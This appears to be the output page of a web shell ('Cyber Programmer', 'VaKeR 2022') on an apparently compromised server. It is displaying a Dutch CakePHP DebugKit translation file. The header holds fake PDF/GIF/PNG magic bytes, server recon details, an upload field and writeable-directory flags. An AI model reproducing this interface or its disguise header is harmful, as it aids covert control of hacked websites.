%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/cakephp/debug_kit/src/Locale/nld/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/cakephp/debug_kit/src/Locale/nld/LC_MESSAGES/debug_kit.po
# LANGUAGE translation of Debug Kit Application
# Copyright 2008 Andy Dawson <andydawson76@yahoo.co.uk>
# No version information was available in the source files.
#
msgid ""
msgstr ""
"Project-Id-Version: debug_kit-\n"
"POT-Creation-Date: 2009-05-27 09:47+0200\n"
"PO-Revision-Date: 2014-07-17 17:04+0200\n"
"Last-Translator: Marlin Cremers <m.cremers@cvo-technologies.com>\n"
"Language-Team: \n"
"Language: nld\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 1.9\n"
"X-Poedit-Basepath: ../../../\n"

#: controllers/components/toolbar.php:91
msgid "Component initialization and startup"
msgstr "Component initializatie en opstarten"

#: controllers/components/toolbar.php:140
msgid "Controller Action"
msgstr "Controller Actie"

#: controllers/components/toolbar.php:167
msgid "Render Controller Action"
msgstr "Produceer Controller Actie"

#: controllers/components/toolbar.php:231
msgid "Could not load DebugToolbar panel %s"
msgstr "Kon DebugToolbar paneel %s niet laden"

#: views/elements/debug_toolbar.ctp:25
msgid "There are no active panels. You must enable a panel to see its output."
msgstr ""
"Er zijn geen actieve panelen. Je moet een paneel aanzetten om de uitvoer te "
"zien."

#: views/elements/history_panel.ctp:21
msgid "Request History"
msgstr "Aanvraag Geschiedenis"

#: views/elements/history_panel.ctp:23
msgid "No previous requests logged."
msgstr "Geen vorige aanvragen gelogged."

#: views/elements/history_panel.ctp:25
msgid "previous requests available"
msgstr "vorige aanvraag beschikbaar"

#: views/elements/history_panel.ctp:27
msgid "Restore to current request"
msgstr "Herstel naar actuele aanvraag"

#: views/elements/log_panel.ctp:21
msgid "Logs"
msgstr "Logs"

#: views/elements/log_panel.ctp:28
msgid "Time"
msgstr "Tijd"

#: views/elements/log_panel.ctp:28
#: views/elements/timer_panel.ctp:54
msgid "Message"
msgstr "Bericht"

#: views/elements/log_panel.ctp:37
msgid "There were no log entries made this request"
msgstr "Er zijn geen log vermeldingen gemaakt in deze aanvraag"

#: views/elements/request_panel.ctp:21
msgid "Request"
msgstr "Aanvraag"

#: views/elements/request_panel.ctp:35
msgid "Current Route"
msgstr "Huide Route"

#: views/elements/session_panel.ctp:21
msgid "Session"
msgstr "Sessie"

#: views/elements/sql_log_panel.ctp:21
msgid "Sql Logs"
msgstr "Sql Logs"

#: views/elements/sql_log_panel.ctp:31
msgid "toggle (%s) query explains for %s"
msgstr "schakel (%s) aanvraag uitleg voor %s"

#: views/elements/sql_log_panel.ctp:39
msgid "No slow queries!, or your database does not support EXPLAIN"
msgstr "Geen langzame vragen!, of je database ondersteund geen EXPLAIN"

#: views/elements/sql_log_panel.ctp:44
msgid "No active database connections"
msgstr "Geen actieve database verbindingen"

#: views/elements/timer_panel.ctp:33
msgid "Memory"
msgstr "Geheugen"

#: views/elements/timer_panel.ctp:35
msgid "Current Memory Use"
msgstr "Actueel Geheugen Gebruik"

#: views/elements/timer_panel.ctp:39
msgid "Peak Memory Use"
msgstr "Hoogste Geheugen Gebruik"

#: views/elements/timer_panel.ctp:43
msgid "Timers"
msgstr "Timers"

#: views/elements/timer_panel.ctp:45
msgid "%s (ms)"
msgstr "%s (ms)"

#: views/elements/timer_panel.ctp:46
msgid "Total Request Time:"
msgstr "Totale Aanvraag Tijd:"

#: views/elements/timer_panel.ctp:54
msgid "Time in ms"
msgstr "Tijd in ms"

#: views/elements/timer_panel.ctp:54
msgid "Graph"
msgstr "Diagram"

#: views/elements/variables_panel.ctp:21
msgid "View Variables"
msgstr "View Variabelen"

#: views/helpers/simple_graph.php:79
msgid "Starting %sms into the request, taking %sms"
msgstr "Starten %sms in de aanvraag, neemt %sms"

VaKeR 2022